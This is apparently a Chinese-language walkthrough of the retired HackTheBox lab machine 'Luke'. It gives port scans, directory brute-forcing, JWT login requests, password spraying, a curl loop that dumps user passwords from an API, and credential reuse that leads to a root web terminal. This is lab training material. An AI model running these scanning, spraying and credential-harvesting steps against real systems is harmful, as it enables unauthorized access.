HTB-靶机-Luke

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.137

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.137 -o ./Luke-autorecon

也可以使用官方的方法进行快速的扫描

masscan -p1-65535 10.10.10.137 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.137
或者
nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.137
nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.137

开放了21,22,80,3000,8000端口,我们一个一个端口来试试

21端口已经扫描出来可以匿名登录了, 直接匿名登录下载文件

根据上面得描述得知目标靶机有两个用户给Chihiro, Derry ,并且删除了相关的安全策略,22端口爆破我们就不试,看下80端口

访问页面正常,没发现啥东西,常规套路爆破下看看

gobuster dir -u http://10.10.10.137/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 150 s "200,204,301,302,307,403,401"

得到了重要的目录,我们访问一把

其中uri地址member,management访问需要认证,我使用上面数据库得到的密码登录但不成功,我们继续看开放的3000端口,同样使用gobuter爆破

gobuster dir -u http://10.10.10.137:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 150 s "200,204,301,302,307,403,401"
或者
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.137:3000/FUZZ --hc 404

可确认存在uri地址login和users,分别使用burpsuite进行访问看看结果

根据上面的显示结果,是需要账号和密码进行认证的,看响应的头信息,可能使用jwt方式进行认证, 可以通过https://jwt.io/ 查看jwt的加密算法

我们试试通过jwt的提交方式构造请求猜测用户名和密码,可以使用下面两种方式构造

POST /login HTTP/1.1

Host: 10.10.10.137:3000
User-Agent: curl/7.68.0
Accept: */*
Content-Type: application/json
Content-Length: 41
Connection: close


{"username":"luke","password":"password"}

或者

curl http://10.10.10.137:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' | jq .

上面的反馈可以知道确实就是jwt格式的方式请求认证,那么我们就使用上面访问数据库得到的账号和密码进行测试,经过不断测试,发现可以通过密码喷洒的方式尝试猜测用户名是哪个,经过猜测尝试发现admin用户是可以成功通过认证,并获取目标靶机登录成功的认证token

或者

得到认证成功的token之后直接拿着这个token访问uri地址users遍历所有用户,具体格式可以参考下面的链接得知获取到token之后可以使用下面的方式进行构造请求

https://gist.github.com/narenaryan/4d03bb4ccda5bb634a3cb5c51f5e79a7

遍历出目标靶机的用户名的密码

for user in admin derry yuri dory; do curl http://10.10.10.137:3000/users/${user} -H "authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjE3MzM0MjEyLCJleHAiOjE2MTc0MjA2MTJ9.8fATcRXrT9tMiZCigtV5dq3zK3wrdtBbdbiJuymDfQM"; echo; done
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
{"name":"Yuri","password":"bet@tester87"}
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}

拿着上面的用户和密码去尝试登录地址:http://10.10.10.137/management

最终确认可以通过  {"name":"Derry","password":"rZ86wwLvx7jUxtch"} 能成功登录,并发现如下信息

那么根据上述信息,刚好目标靶机开放了8000端口,并且是web页面,我们使用root账号和上面的密码进行登录

成功登录并新建一个terminal

进入此terminal发现是root权限,那么可以直接读取root.txt和user.txt

posted @ 2021-04-02 14:15  皇帽讲绿帽带法技巧  阅读(144)  评论(0编辑  收藏  举报